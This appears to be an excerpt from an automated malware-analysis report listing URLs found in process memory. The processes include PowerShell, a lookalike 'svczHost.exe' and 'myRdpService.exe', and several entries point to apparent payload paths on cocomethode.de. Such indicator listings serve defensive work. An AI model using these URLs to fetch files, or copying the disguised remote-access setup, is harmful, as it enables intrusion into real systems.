Source: powershell.exe, 00000003.00000002.3816213089.0000027300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE04C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80001000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD804C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.4184495621.0000016FF88BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wsoft.com/pki/ceroCerAut_2010-06-
Source: powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.3816213089.000002730022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
Source: powershell.exe, 00000003.00000002.3816213089.0000027301087000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.000002730139E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
Source: myRdpService.exe	String found in binary or memory: http://www.gstatic.com/generate_204
Source: svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204y
Source: powershell.exe, 0000000C.00000002.4869697403.000001DDEFFD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=806010
Source: svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600y0
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604e
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD900A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000000.4283225979.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000003.00000002.3816213089.0000027300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE04C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.4010478020.00000200F0F10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80C0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpXz
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.X2
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200805D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80385000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8188C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57f
Source: powershell.exe, 0000000C.00000002.4298843299.000001DD803BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8188C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE0BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc
Source: svczHost.exe, 00000015.00000002.5354820158.0000020914CA7000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/StaticFile/RdpService/63
Source: svczHost.exe, 00000015.00000002.5354820158.0000020914C92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/StaticFile/RdpService/63ice
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/fbJ5ex
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/058
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE0BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743
Source: powershell.exe, 0000000C.00000002.4298843299.000001DD803BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4
Source: powershell.exe, 0000000C.00000002.4298843299.000001DD80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8022C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518
Source: powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE0B5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627
Source: powershell.exe, 00000004.00000002.4053919811.0000016FE08AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11
Source: powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svczHost.exe, 00000015.00000002.5357294614.0000020915648000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/MartinKuschnik/WmiLight
Source: powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.3816213089.000002730022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE06EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXz
Source: powershell.exe, 00000003.00000002.3816213089.0000027301087000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.000002730139E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD900A2000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000000.4283225979.00007FF6B2372000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 00000008.00000002.3949447703.0000020080D97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live
Source: svchost.exe, 00000014.00000003.4008607753.000002B706F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008855690.000002B706F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000014.00000003.4009190406.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000014.00000003.4009190406.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009237411.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009319779.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000014.00000003.4009190406.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009237411.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009319779.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000014.00000003.4008607753.000002B706F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008855690.000002B706F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000014.00000003.4008607753.000002B706F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008855690.000002B706F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000014.00000002.5354521154.000002B7066E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5354220567.000002B7066BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srfIssuers
Source: svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000014.00000003.4008607753.000002B706F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008855690.000002B706F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000014.00000003.4008607753.000002B706F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008855690.000002B706F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cplive.com
Source: svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000014.00000003.4009190406.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009237411.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009319779.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000014.00000003.4009190406.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009237411.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009319779.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008939368.000002B706F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
